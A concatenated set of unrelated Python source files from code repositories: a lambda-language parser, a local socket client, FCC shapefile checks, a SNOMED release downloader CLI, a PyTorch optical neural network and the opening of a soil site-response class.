names in ast\n _functions[_eta_list[i]] = copy.deepcopy(_functions[node])\n ast.etaSearch(argMap, _eta_list[i])\n\n # Change variables names in where\n where = copy.deepcopy(_whereDict[node])\n for w in where:\n w['expression'].visit(ast.EtaSearch())\n _whereDict[_eta_list[i]] = funcWhere + where\n\n break\n i += 1\n\n # If none is found, then there is a possible infinite loop\n if i == l:\n clean()\n raise Exception(\"maximum recursion depth exceeded while calling a Python object\")\n else:\n del _eta_list[i]\n\n# Parser rules\ndef p_start(t):\n '''start : functionList'''\n reset()\n\ndef p_functionList(t):\n '''functionList : functionList function\n | function '''\n\ndef p_function_assign(t):\n '''function : NAME DEFINITION expression where_expression'''\n for fName in _lambda_childrens:\n if fName not in _lambda_closure:\n _lambda_closure[fName] = []\n\n _lambda_closure[fName] += [w['var'] for w in t[4]]\n\n global _names\n global _names_aux\n _names[t[1]] = _names_aux\n\n _names_aux = set()\n\n global _dependence\n global _dependence_aux\n _dependence[t[1]] = list(_dependence_aux)\n\n _dependence_aux = set()\n global _functions\n _functions[t[1]] = {t[1]:t[3]}\n global _args\n _args[t[1]] = {t[1]:[]}\n global _whereDict\n _whereDict[t[1]] = t[4]\n\n if t[1] != 'main' and type(t[3]).__name__ == \"Application\" and t[4] == []:\n global _eta_list\n _eta_list += [t[1]]\n\n# Get a unique name of a function definition\ndef getName(arg):\n primal = True\n tp = type(arg).__name__\n if tp == \"Constant\":\n primal = False\n tp += \"(\" + arg.type + \")\"\n vl = str(arg.value)\n elif tp == \"List\":\n primal = False\n vl = \"\"\n for v in arg.exprs:\n tpAux, vlAux, _ = getName(v)\n tp += tpAux\n vl += vlAux\n elif tp == \"Tuple\":\n primal = False\n vl = \"\"\n for v in arg.exprs:\n tpAux, vlAux, _ = getName(v)\n tp += tpAux\n vl += vlAux\n elif tp == \"Structure\":\n primal = False\n vl = \"\"\n for v in arg.kvPairs:\n tpAuxKey, vlAuxKey, _ = getName(v[0])\n tpAuxValue, vlAuxValue, _ = getName(v[1])\n tp += tpAuxKey + \":\" + tpAuxValue\n vl += vlAuxKey + \":\" + vlAuxValue\n else:\n vl = arg\n return tp, vl, primal\n\ndef p_function_args(t):\n '''function : NAME argList DEFINITION expression where_expression'''\n _, funcName, args, _, expression, wheres = t\n\n name = \"\"\n primal = True\n for arg in args:\n tp, vl, check = getName(arg)\n name += \"(\" + tp + \")\" + vl\n if not check:\n primal = False\n if primal:\n name = funcName\n\n global _names\n global _names_aux\n _names[funcName] = _names_aux\n\n _names_aux = set()\n\n global _dependence\n global _dependence_aux\n _dependence[funcName] = list(_dependence_aux)\n\n _dependence_aux = set()\n\n global _functions\n if funcName in _functions:\n _functions[funcName][name] = expression\n else:\n _functions[funcName] = {name:expression}\n global _args\n if funcName in _args:\n _args[funcName][name] = args\n else:\n _args[funcName] = {name:args}\n global _whereDict\n _whereDict[funcName] = wheres\n\n if funcName != 'main' and type(expression).__name__ == \"Application\" and wheres == []:\n global _eta_list\n _eta_list += [funcName]\n\n global _lambda_closure\n for fName in _lambda_childrens:\n if fName not in _lambda_closure:\n _lambda_closure[fName] = []\n\n _lambda_closure[fName] += [w['var'] for w in wheres] + args\n\nlambdaCounter = 0\ndef p_lambda_expression(t):\n '''lambda : LAMBDA argList ARROW expression'''\n _,_, args, _, expression = t;\n global lambdaCounter\n funcName = \"lambda {}\".format(lambdaCounter)\n lambdaCounter += 1\n\n global _lambda_childrens\n global _lambda_closure\n for fName in _lambda_childrens:\n if fName not in _lambda_closure:\n _lambda_closure[fName] = []\n\n _lambda_closure[fName] += args\n\n _lambda_childrens += [funcName]\n\n wheres = []\n\n name = \"\"\n primal = True\n for arg in args:\n tp, vl, check = getName(arg)\n name += \"(\" + tp + \")\" + vl\n if not check:\n primal = False\n if primal:\n name = funcName\n\n global _names\n global _names_aux\n _names[funcName] = _names_aux\n\n _names_aux = set()\n\n global _dependence\n global _dependence_aux\n _dependence[funcName] = list(_dependence_aux)\n\n _dependence_aux = set()\n\n global _functions\n if funcName in _functions:\n _functions[funcName][name] = expression\n else:\n _functions[funcName] = {name:expression}\n global _args\n if funcName in _args:\n _args[funcName][name] = args\n else:\n _args[funcName] = {name:args}\n global _whereDict\n _whereDict[funcName] = wheres\n\n if funcName != 'main' and type(expression).__name__ == \"Application\" and wheres == []:\n global _eta_list\n _eta_list += [funcName]\n\n t[0] = ast.Identifier(funcName)\n\ndef p_application_lambda(t):\n '''application : LPAREN lambda RPAREN LPAREN expression RPAREN\n | LPAREN lambda RPAREN LPAREN lambda RPAREN'''\n t[0] = ast.Application(t[2].name, t[5])\n\ndef p_args_list(t):\n '''argList : argList argExpr'''\n t[0] = t[1] + [t[2]]\n\ndef p_args(t):\n '''argList : argExpr'''\n t[0] = [t[1]]\n\ndef p_arg_expr_name(t):\n '''argExpr : NAME'''\n t[0] = t[1]\n\ndef p_arg_expr_constant_expr(t):\n '''argExpr : constantExpr'''\n t[0] = t[1]\n\ndef p_constant_expr(t):\n '''constantExpr : constant\n | constList\n | constTuple\n | constStructure'''\n t[0] = t[1]\n\ndef p_const_structure_null(t):\n '''constStructure : LBRACKET1 RBRACKET1'''\n t[0] = ast.Structure([])\n\ndef p_const_structure_kvList(t):\n '''constStructure : LBRACKET1 constKvList RBRACKET1'''\n t[0] = ast.Structure(t[2])\n\ndef p_const_kvList_nested(t):\n '''constKvList : constKvTerm COMMA constKvList'''\n t[0] = [t[1]] + t[3]\n\ndef p_const_kvList_kvTerm(t):\n '''constKvList : constKvTerm'''\n t[0] = [t[1]]\n\ndef p_const_kvTerm(t):\n '''constKvTerm : constantExpr COLON constantExpr'''\n t[0] = t[1], t[3]\n\ndef p_const_list_null(t):\n '''constList : LBRACKET2 RBRACKET2'''\n t[0] = ast.List([])\n\ndef p_const_list_termList(t):\n '''constList : LBRACKET2 constTermList RBRACKET2'''\n t[0] = ast.List(t[2])\n\ndef p_const_termList_nested(t):\n '''constTermList : constTerm COMMA constTermList'''\n t[0] = [t[1]] + t[3]\n\ndef p_const_termList_term(t):\n '''constTermList : constTerm'''\n t[0] = [t[1]]\n\ndef p_const_term_expression(t):\n '''constTerm : constantExpr'''\n t[0] = t[1]\n\ndef p_const_tuple_null(t):\n '''constTuple : LPAREN RPAREN'''\n t[0] = ast.Tuple([])\n\ndef p_const_tuple_termTuple(t):\n '''constTuple : LPAREN constTermTuple RPAREN'''\n t[0] = ast.Tuple(t[2])\n\ndef p_const_termTuple_nested(t):\n '''constTermTuple : constTerm COMMA constTermTuple'''\n t[0] = [t[1]] + t[3]\n\ndef p_const_termTuple_term(t):\n '''constTermTuple : constTerm COMMA constTerm'''\n t[0] = [t[1], t[3]]\n\ndef p_where_expression(t):\n '''where_expression : WHERE NAME DEFINITION expression where_expression\n | '''\n if len(t) > 1:\n t[0] = [{\"var\": t[2], \"expression\": t[4]}] + t[5]\n else:\n t[0] = []\n\ndef p_expression_binop(t):\n '''expression : expression PLUS expression\n | expression TIMES expression\n | expression DIVIDE expression\n | expression MINUS expression\n | expression AND expression\n | expression XOR expression\n | expression IOR expression\n | expression EQL expression\n | expression GTE expression\n | expression LTE expression\n | expression DIF expression\n | expression LT expression\n | expression GT expression'''\n t[0] = ast.Binop(t[1], t[2], t[3])\n\ndef p_expression_ifelse(t):\n '''expression : IF expression THEN expression ELSE expression %prec IFELSE'''\n t[0] = ast.Conditional(t[2], t[4], t[6])\n\ndef p_expression_uminus(t):\n '''expression : MINUS expression %prec UNARY'''\n t[0] = ast.Binop(ast.Constant(0, \"int\"), t[1], t[2])\n\ndef p_expression_not(t):\n '''expression : NOT expression %prec UNARY'''\n t[0] = ast.Binop(ast.Constant(\"True\", \"bool\"), \"xor\", t[2])\n\ndef p_expression_application(t):\n '''expression : application'''\n t[0] = t[1]\n\ndef p_expression_group(t):\n '''expression : LPAREN expression RPAREN'''\n t[0] = t[2]\n\ndef p_application_nested(t):\n '''application : application LPAREN expression RPAREN'''\n t[0] = ast.Application(t[1], t[3])\n\ndef p_application_expression(t):\n '''application : NAME LPAREN expression RPAREN\n | NAME LPAREN lambda RPAREN'''\n global _names_aux\n _names_aux |= {t[1]}\n global _dependence_aux\n _dependence_aux |= {t[1]}\n t[0] = ast.Application(t[1], t[3])\n\ndef p_application_null(t):\n '''application : NAME LPAREN RPAREN'''\n global _names_aux\n _names_aux |= {t[1]}\n global _dependence_aux\n _dependence_aux |= {t[1]}\n t[0] = ast.Application(t[1], None)\n\ndef p_constant_real_number(t):\n '''constant : FLOAT'''\n t[0] = ast.Constant(t[1], \"float\")\n\ndef p_constant_number(t):\n '''constant : NATURAL'''\n t[0] = ast.Constant(t[1], \"int\")\n\ndef p_constant_string(t):\n '''constant : STRING1\n | STRING2'''\n t[0] = ast.Constant(t[1], \"str\")\n\ndef p_constant_bool(t):\n '''constant : TRUE\n | FALSE'''\n t[0] = ast.Constant(t[1], \"bool\")\n\ndef p_constant_none(t):\n '''constant : NONE'''\n t[0] = ast.Constant(t[1], \"none\")\n\ndef p_expression_constant(t):\n '''expression : constant\n | structure\n | list\n | tuple'''\n t[0] = t[1]\n\ndef p_structure_null(t):\n '''structure : LBRACKET1 RBRACKET1'''\n t[0] = ast.Structure([])\n\ndef p_structure_kvList(t):\n '''structure : LBRACKET1 kvList RBRACKET1'''\n t[0] = ast.Structure(t[2])\n\ndef p_kvList_nested(t):\n '''kvList : kvTerm COMMA kvList'''\n t[0] = [t[1]] + t[3]\n\ndef p_kvList_kvTerm(t):\n '''kvList : kvTerm'''\n t[0] = [t[1]]\n\ndef p_kvTerm(t):\n '''kvTerm : expression COLON expression'''\n t[0] = t[1], t[3]\n\ndef p_expression_structure_call(t):\n '''expression : expression LBRACKET2 expression RBRACKET2'''\n t[0] = ast.StructureCall(t[1], t[3])\n\ndef p_list_null(t):\n '''list : LBRACKET2 RBRACKET2'''\n t[0] = ast.List([])\n\ndef p_list_termList(t):\n '''list : LBRACKET2 termList RBRACKET2'''\n t[0] = ast.List(t[2])\n\ndef p_termList_nested(t):\n '''termList : term COMMA termList'''\n t[0] = [t[1]] + t[3]\n\ndef p_termList_term(t):\n '''termList : term'''\n t[0] = [t[1]]\n\ndef p_term_expression(t):\n '''term : expression'''\n t[0] = t[1]\n\ndef p_tuple_null(t):\n '''tuple : LPAREN RPAREN'''\n t[0] = ast.Tuple([])\n\ndef p_tuple_termTuple(t):\n '''tuple : LPAREN termTuple RPAREN'''\n t[0] = ast.Tuple(t[2])\n\ndef p_termTuple_nested(t):\n '''termTuple : term COMMA termTuple'''\n t[0] = [t[1]] + t[3]\n\ndef p_termTuple_term(t):\n '''termTuple : term COMMA term'''\n t[0] = [t[1], t[3]]\n\ndef p_expression_name(t):\n '''expression : NAME'''\n global _names_aux\n _names_aux |= {t[1]}\n t[0] = ast.Identifier(t[1])\n\ndef p_error(t):\n ''''''\n clean()\n raise Exception(\"Syntax error at %s\" % t)\n\nparser = yacc.yacc()\n","repo_name":"racoci/visual-lambda","sub_path":"src/lexer_parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":18035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73385979451","text":"import socket\r\nfrom math import pow\r\n\r\nHOST = '127.0.0.1'\r\nPORT = 5000\r\nnumber = 2\r\n\r\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\r\n s.connect((HOST, PORT))\r\n\r\n s.sendall(str(number).encode())\r\n data = s.recv(32).decode()\r\n data = int(data)\r\nprint('Received {}'.format(data))\r\n","repo_name":"itachikryst/Concurrent-Programming","sub_path":"Lab9--bsd-sockets--python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74744508093","text":"import NBM2_functions as nbmf\nfrom pathlib import Path\nimport geopandas as gpd\nimport traceback \nimport zipfile \nimport glob\nimport time \n\ndef unzipCriticalFiles(glob_path, target_list, splitter, shape_type, start_time):\n \"\"\"\n checks for the existence of shape files or their zipped archives and if \n it identifies the archive, it unzips it\n\n Arguments In: \n glob_path: a string variable that contains the path in which\n the shape files exist\n target_list: a list of strings indicating the specific shape\n file to locate\n splitter: a string variable that provides the pattern for\n splitting the path string so files can be found\n shape_type: a string variable indicating what type of shape\n file is being checked\n \tstart_time:\t the clock time that the step began using the \n \t\t\t\t\t time.clock() format\n\n Arguments Out:\n continue_run: a boolean variable that indicates if the routine\n successfully completed and whether the next steps\n should be executed\n \"\"\"\n # determine if shape files are missing\n temp_time = time.localtime()\n shape_files = glob.glob(glob_path)\n for s in shape_files:\n shape_id = s.split(splitter)[1]\n shape_id = shape_id.split('_')[0]\n try:\n target_list.remove(shape_id)\n except:\n pass\n\n # determine if the zip file exists for the missing shapes and unzip them\n zip_files = glob.glob(glob_path.split('.')[0]+'.zip')\n for z in zip_files:\n temp_time = time.localtime()\n zip_id = z.split(splitter)[1]\n zip_id = zip_id.split('_')[0]\n\n z = z.replace(\"\\\\\",\"/\") #<-- this is used in case we are running in windows\n shape_dir = '/'.join(z.split('/')[:-1])+'/'\n\n if zip_id in target_list:\n try:\n zip_ref = zipfile.ZipFile(z) \n zip_ref.extractall(shape_dir) \n zip_ref.close() \n target_list.remove(zip_id)\n my_message = \"\"\"\n INFO - STEP 0 (MASTER): TASK 2 OF 13 - UNZIPPED %s SHAPE\n FILE FOR %s\n \"\"\" % (shape_type.upper(), zip_id)\n my_message = ' '.join(my_message.split())\n print(nbmf.logMessage(my_message,temp_time, time.localtime(), \n time.mktime(time.localtime())-time.mktime(start_time)))\n except:\n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 2 of 13 - FAILED TO UNZIP %s \n SHAPE FILE FOR %s\n \"\"\" % (shape_type.upper(), zip_id)\n my_message = ' '.join(my_message.split())+'\\n'+traceback.format_exc()\n print(nbmf.logMessage(my_message,temp_time, time.localtime(), \n time.mktime(time.localtime())-time.mktime(start_time)))\n return False\n\n # see if there are any missing shape and zip files\n if len(target_list) > 0:\n for t in target_list:\n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 2 OF 13 - MISSING THE %s SHAPE \n FILE FOR %s\n \"\"\" % (shape_type.upper(), t)\n my_message = ' '.join(my_message.split())\n print(nbmf.logMessage(my_message,temp_time, time.localtime(), \n time.mktime(time.localtime())-time.mktime(start_time)))\n return False \n else:\n my_message = \"\"\"\n INFO - STEP 0 (MASTER): TASK 2 OF 13 - CONFIRMED EXISTENCE OF ALL %s \n SHAPE FILES\n \"\"\" % shape_type.upper()\n my_message = ' '.join(my_message.split())\n print(nbmf.logMessage(my_message,temp_time, time.localtime(), \n time.mktime(time.localtime())-time.mktime(start_time)))\n return True\n\ndef checkShapeFiles(config,start_time):\n \"\"\"\n subroutine that manages the shape file checking prior to beginning the\n step 0 processes\n\n Arguments In: \n config:\t\t\t the json variable that contains all configration\n \t\t\t\t\t data required for the data processing\n \tstart_time:\t the clock time that the step began using the \n \t\t\t\t\t time.clock() format\n\n Arguments Out:\n continue_run: a boolean variable that indicates if the routine\n successfully completed and whether the next steps\n should be executed\n \"\"\"\n try:\n flag = True\n temp_time = time.localtime()\n\n # get the list of state ids and then prepare for each of the different\n # shape files. Tracts shape file does not have all of the states and\n # territories. Assumes the state file has already been unzipped\n state_ids = gpd.read_file(config['shape_files_path']+config['state_shape_file_name'] )\n bl_ids = state_ids['GEOID'].tolist() \n pl_ids = bl_ids[:]\n tr_ids = bl_ids[:]\n shape_dict = { 'state':[config['state_shape_file_name'], ['us']],\n 'county_tl':[config['county_tl_shape_file_name'], ['us']],\n 'county_cb':[config['county_cb_shape_file_name'], ['us']],\n 'tribe':[config['tribe_shape_file_name'],['us']],\n 'cbsa':[config['cbsa_shape_file_name'],['us']],\n 'congress':[config['congress_shape_file_name'],['us']],\n 'block':['block/tl_%s_*_tabblock%s.shp' % (config['census_vintage'], config['census_vintage'][2:]), bl_ids],\n 'places':['place/tl_%s_*_place.shp' % config['geometry_vintage'], pl_ids],\n 'tracts':['tract/gz_%s_*_140_00_500k.shp' % config['census_vintage'], tr_ids]}\n\n for shp in shape_dict:\n glob_path = config['shape_files_path']+shape_dict[shp][0]\n splitter = shape_dict[shp][0].split(\"/\")[1]\n splitter = \"_\".join(splitter.split(\"_\")[:2])+'_'\n continue_run = unzipCriticalFiles(glob_path, shape_dict[shp][1], splitter, shp, start_time)\n if not continue_run:\n flag = False\n if flag:\n my_message = \"\"\"\n INFO - STEP 0 (MASTER): TASK 2 OF 13 - COMPLETED CHECKING ALL INPUT\n SHAPE FILES - ALL FILES PRESENT\n \"\"\"\n else:\n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 2 OF 13 - COMPLETED CHECKING ALL INPUT\n SHAPE FILES - SOME FILES MISSING\n \"\"\" \n my_message = ' '.join(my_message.split())\n print(nbmf.logMessage(my_message,temp_time, time.localtime(), \n time.mktime(time.localtime())-time.mktime(start_time)))\n\n except:\n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 2 OF 13 - FAILED TO CHECK ALL INPUT\n SHAPE FILES\n \"\"\" \n my_message = ' '.join(my_message.split())+'\\n'+traceback.format_exc()\n print(nbmf.logMessage(my_message,temp_time, time.localtime(), \n time.mktime(time.localtime())-time.mktime(start_time)))\n\n return flag \n\ndef checkCSVFiles(config,start_time):\n \"\"\"\n subroutine that checks to ensure the required CSV files are present \n prior to beginning the step 0 processes\n\n Arguments In: \n config:\t\t\t the json variable that contains all configration\n \t\t\t\t\t data required for the data processing\n \tstart_time:\t the clock time that the step began using the \n \t\t\t\t\t time.clock() format\n\n Arguments Out:\n continue_run: a boolean variable that indicates if the routine\n successfully completed and whether the next steps\n should be executed\n \"\"\"\n try:\n flag = True \n missing_files = []\n temp_time = time.localtime()\n csv_dict = {'fbd':config['input_csvs_path']+config['fbData'],\n 'cnty2cbsa': config['input_csvs_path']+config['county_to_cbsa'][0],\n 'bms':config['input_csvs_path']+config['block_master_static'][0],\n 'hhp':config['input_csvs_path']+config['hu_hh_pop'][0],\n 'tracts':config['input_csvs_path']+config['tract_area_file'],\n 'blocks':config['input_csvs_path']+config['large_blocks_file'],\n 'lookup':config['input_csvs_path']+config['previous_lookup_table'],\n 'prov_lookup':config['input_csvs_path']+config['previous_provider_lookup_table']}\n for c in csv_dict:\n my_csv = Path(csv_dict[c])\n if not my_csv.exists():\n missing_files.append(csv_dict[c])\n flag = False\n if len(missing_files) > 0:\n print(\"ERROR - STEP 0 (MASTER): TASK 2 of 13 - MISSING THE FOLLOWING FILES\")\n for m in missing_files:\n print('\\t',m)\n if flag:\n my_message = \"\"\"\n INFO - STEP 0 (MASTER): TASK 2 OF 13 - COMPLETED CHECKING ALL INPUT\n CSV FILES - ALL FILES PRESENT\n \"\"\"\n else:\n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 2 OF 13 - COMPLETED CHECKING ALL INPUT\n CSV FILES - SOME FILES MISSING\n \"\"\"\n my_message = ' '.join(my_message.split())\n print(nbmf.logMessage(my_message,temp_time, time.localtime(), \n time.mktime(time.localtime())-time.mktime(start_time))) \n\n except:\n flag = False\n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 2 OF 13 - FAILED TO CHECK ALL INPUT\n CSV FILES\n \"\"\" \n my_message = ' '.join(my_message.split())+'\\n'+traceback.format_exc()\n print(nbmf.logMessage(my_message,temp_time, time.localtime(), \n time.mktime(time.localtime())-time.mktime(start_time)))\n\n return flag\n\ndef checkFiles(config, start_time):\n \"\"\"\n subroutine used to manage all file checking and extracting processes\n\n Arguments In: \n config:\t\t\t the json variable that contains all configration\n \t\t\t\t\t data required for the data processing\n \tstart_time:\t the clock time that the step began using the \n \t\t\t\t\t time.clock() format\n\n Arguments Out:\n continue_run: a boolean variable that indicates if the routine\n successfully completed and whether the next steps\n should be executed\n \"\"\"\n try:\n temp_time = time.localtime()\n continue_run = checkShapeFiles(config, start_time)\n\n # if continue_run:\n # continue_run = checkCSVFiles(config, start_time)\n\n if continue_run:\n my_message = \"\"\"\n INFO - STEP 0 (MASTER): TASK 2 of 13 - CONFIRMED PRESENCE OF REQUIRED\n INPUT FILES\n \"\"\"\n print(nbmf.logMessage(' '.join(my_message.split()),temp_time, time.localtime(),\n time.mktime(time.localtime())-time.mktime(start_time)))\n return True \n\n else:\n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 2 of 13 - MISSING REQUIRED INPUT \n FILES - SEE LOG FOR MISSING FILES\n \"\"\"\n print(nbmf.logMessage(' '.join(my_message.split()),temp_time, time.localtime(),\n time.mktime(time.localtime())-time.mktime(start_time)))\n return False \n\n except:\n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 2 of 13 - FAILED TO FIND ALL REQUIRED\n INPUT FILES - SEE LOG FOR ERRORS\n \"\"\"\n print(nbmf.logMessage(' '.join(my_message.split()),temp_time, time.localtime(),\n time.mktime(time.localtime())-time.mktime(start_time)))\n return False \n\n","repo_name":"FCC/nbm2-backend","sub_path":"modules/step0_task_2.py","file_name":"step0_task_2.py","file_ext":"py","file_size_in_byte":12022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17270181270","text":"import os\r\nimport requests\r\nimport click\r\nimport re\r\nfrom tqdm import tqdm\r\nfrom prettytable import PrettyTable, MARKDOWN\r\nimport zipfile\r\nfrom dateutil import parser\r\n\r\ndef get_packages(baseUrl=\"https://mlds.ihtsdotools.org\"):\r\n r = requests.get(f\"{baseUrl}/api/releasePackages\")\r\n packages = r.json()\r\n files = []\r\n for package in packages:\r\n s = sorted(package[\"releaseVersions\"], key=lambda release: parser.parse(release[\"createdAt\"]))\r\n latest = s[-1]\r\n file = {\r\n \"package\": package[\"name\"],\r\n \"id\": package[\"releasePackageId\"],\r\n \"member\": package[\"member\"][\"key\"],\r\n \"latest\": latest[\"createdAt\"],\r\n \"file\": [i for i in latest[\"releaseFiles\"] if \".zip\" in i[\"label\"] and \".zip.md5\" not in i[\"label\"]]\r\n }\r\n \r\n if len(file[\"file\"]) > 1:\r\n print(\"Warning: \", package[\"name\"], \r\n \"more than 1 .zip file\")\r\n\r\n if len(file[\"file\"]) > 0:\r\n file[\"url\"] = f'{baseUrl}{file[\"file\"][0][\"clientDownloadUrl\"]}'\r\n files.append(file)\r\n return files\r\n\r\n\r\ndef download_progress(url: str, folder: str, session: requests.Session):\r\n resp = session.get(\r\n url, stream=True)\r\n print(resp.status_code)\r\n if resp.status_code != 200:\r\n if resp.status_code == 500:\r\n click.echo(\r\n \"SNOMED Internal server error. Please try after sometime\")\r\n else:\r\n click.echo(\r\n \"Authentication Failed. Please check your username and password.\")\r\n exit(1)\r\n total = int(resp.headers.get('content-length', 0))\r\n d = resp.headers.get('content-disposition')\r\n file = re.findall(\"filename=(.+)\", d)[0]\r\n file = file.replace('\"', \"\")\r\n fname = os.path.join(folder, file)\r\n with open(fname, 'wb') as file, tqdm(\r\n desc=fname,\r\n total=total,\r\n unit='iB',\r\n unit_scale=True,\r\n unit_divisor=1024,\r\n ) as bar:\r\n for data in resp.iter_content(chunk_size=1024):\r\n size = file.write(data)\r\n bar.update(size)\r\n\r\n\r\ndef unzip_file(filename: str, extract_folder=\"extracts\"):\r\n with zipfile.ZipFile(filename, 'r') as snomed_zip_file:\r\n snomed_zip_file.extractall(extract_folder)\r\n\r\n\r\ndef get_to_download(filename: str):\r\n with open(filename, 'r') as f:\r\n return f.read()\r\n\r\n\r\n@click.command()\r\n@click.option('--dir', default=\"downloads\")\r\ndef extract(dir):\r\n extract_folder = os.path.join(dir,\"extracts\")\r\n for allfiles in os.listdir(dir):\r\n if allfiles.split('.')[-1] == 'zip':\r\n file_path = os.path.join(dir, allfiles)\r\n click.echo(f\"Extracting {file_path}\")\r\n unzip_file(file_path, extract_folder)\r\n\r\n\r\n@click.command()\r\n@click.option('--members', '-m', default=\"*\")\r\ndef list(members):\r\n packages = get_packages()\r\n headers = [\r\n \"id\",\r\n \"package\",\r\n \"latest\",\r\n \"member\",\r\n ]\r\n if members == \"*\" or members == \"\":\r\n rows = rows = [[p[header] for header in headers] for p in packages]\r\n else:\r\n rows = [[p[header] for header in headers]\r\n for p in packages if p[\"member\"] in members + \" IHTSDO\"]\r\n table = PrettyTable(headers)\r\n table.set_style(MARKDOWN)\r\n table.align = \"l\"\r\n table.add_rows(rows)\r\n click.echo(table.get_string(sortby=\"member\"))\r\n \r\n \r\n\r\n\r\n@click.group()\r\ndef cli():\r\n pass\r\n\r\n\r\n@click.command()\r\n@click.argument('filename', type=click.Path(exists=True))\r\n@click.option('--directory', '-d', help='Output directory', default=\"downloads\")\r\n@click.option('--username', '-u', help='Usually email id.', required=True, prompt=True)\r\n@click.option('--password', '-p', help=\"Password to login\", required=True, prompt=True, hide_input=True)\r\ndef download(filename, directory, username, password):\r\n os.makedirs(directory, exist_ok=True)\r\n packages = get_packages()\r\n to_download = get_to_download(filename)\r\n to_download = [package for package in packages if str(\r\n package[\"id\"]) in to_download]\r\n session = requests.Session()\r\n session.auth = (username, password)\r\n for file in to_download:\r\n download_progress(file[\"url\"], directory, session)\r\n\r\n\r\nif __name__ == '__main__':\r\n cli.add_command(download)\r\n cli.add_command(list)\r\n cli.add_command(extract)\r\n cli(auto_envvar_prefix='MLDS')\r\n","repo_name":"medblocks/mlds","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17520450868","text":"import torch\nimport torch.fft as fft\nimport torch.nn as nn\nimport numpy as np\n\nclass CONFIG():\n def __init__(self, array_size: int = 512,\n pixel_size: float = 18e-6,\n wavelength: float = 532e-9,\n image_size: int = 56,\n distance: float = 0.3):\n self.array_size: int = array_size\n self.pixel_size: float = pixel_size\n self.wavelength: float = wavelength\n self.K: float = 2*np.pi/self.wavelength # VolnovoiVector\n self.aperture_size: float = self.array_size * self.pixel_size\n self.image_size: int = image_size\n self.distance: float = distance\n\n size = self.image_size/100\n aa = size*4\n self.coords = torch.tensor([[-aa, aa],\n [0,\taa],\n [aa,\taa],\n [-1.5*aa,\t0],\n [-0.5*aa,\t0],\n [0.5*aa,\t0],\n [1.5*aa,\t0],\n [-aa,\t-aa],\n [0,\t-aa],\n [aa,\t-aa]])\n\ndef sum_func(image: torch.tensor, k = 0) -> torch.Tensor:\n return torch.sum(image, dim = (2, 3))\n\ndef max_func(image: torch.tensor, k_size: int) -> torch.Tensor:\n return nn.MaxPool2d(kernel_size = k_size)(image)\n\nclass ONN(nn.Module):\n def __init__(self, config,\n phase: None | torch.Tensor = None,\n out_function = sum_func): \n super(ONN, self).__init__()\n \n self.array_size = config.array_size\n self.pixel_size = config.pixel_size\n self.wavelength = config.wavelength\n self.K = config.K # VolnovoiVector\n self.aperture_size = config.aperture_size\n self.image_size = config.image_size\n self.distance = config.distance\n \n border = np.pi * self.array_size / self.aperture_size\n arr = torch.linspace(-border, border, self.array_size+1)[:self.array_size]\n xv, yv = torch.meshgrid(arr, arr, indexing='ij')\n xx = xv**2 + yv**2\n self.U = torch.roll(xx, (int(self.array_size/2), int(self.array_size/2)), dims = (0, 1))\n self.p = torch.sqrt(-self.U+self.K**2)\n\n coords = config.coords\n l = torch.linspace(-config.array_size/100,config.array_size/100,config.array_size)\n Y, X = torch.meshgrid(l, l, indexing='ij')\n \n self.mask = torch.stack([(X > coords[x][0]-self.image_size/200) * (X < coords[x][0]+self.image_size/200) * (Y > coords[x][1]-self.image_size/200) * (Y < coords[x][1]+self.image_size/200) for x in range(10)])\n\n self.maxpool = nn.MaxPool2d(kernel_size = self.array_size)\n self.maxpool2 = nn.MaxPool1d(kernel_size = 10)\n self.dropout = nn.Dropout(0.5)\n self.phase = None\n if(phase != None):\n self.phase = phase\n else:\n self.phase = nn.Parameter(torch.rand(self.array_size, self.array_size, dtype=torch.float))\n self.phase2 = nn.Parameter(torch.rand(self.array_size, self.array_size, dtype=torch.float))\n self.zero = nn.ZeroPad2d(int((self.array_size - self.image_size)/2))\n self.softmax = nn.Softmax(dim=1)\n self.one = torch.ones((512, 512))\n self.function = out_function\n \n def propagation(self, field, z):\n eta = torch.exp(1j*z*self.p)\n res = fft.ifft2(fft.fft2(field) * eta)\n res = res * self.dropout(self.one)\n return res\n \n def DOE(self, i):\n if 1==i:\n return torch.exp(1j*self.phase)\n return torch.exp(1j*self.phase2)\n \n def forward(self, x):\n x = x/(torch.sum(x**2, dim = (1, 2, 3))[:, None, None, None]**0.5)*np.sqrt(500)\n x = self.zero(x)\n x = self.propagation(x, self.distance)\n X = x * self.DOE(1)\n X = self.propagation(X, self.distance)\n X = X * self.DOE(2)\n X = self.propagation(X, self.distance)\n res = X * self.mask\n res = torch.abs(res)\n res = (res**2)\n #res = self.dropout(res)\n res=self.function(res, self.array_size)\n return X, res","repo_name":"amacomm/ONNExperiment","sub_path":"ONN_one_layer.py","file_name":"ONN_one_layer.py","file_ext":"py","file_size_in_byte":4176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37991173389","text":"import numpy as np\nimport sfsimodels as sm\nimport o3seespy as o3\nimport o3seespy.extensions\nimport copy\nfrom o3soil.sra.output import O3SRAOutputs\n\n\nclass SRA1D(object):\n osi = None\n\n def __init__(self, sp, dy=0.5, k0=0.5, base_imp=0, cache_path=None, opfile=None):\n \"\"\"\n\n Parameters\n ----------\n sp\n dy\n k0\n base_imp: float\n If positive then use as impedence at base of model,\n If zero then use last soil layer\n If negative then use fixed base\n cache_path\n opfile\n \"\"\"\n self.sp = sp\n sp.gen_split(props=['shear_vel', 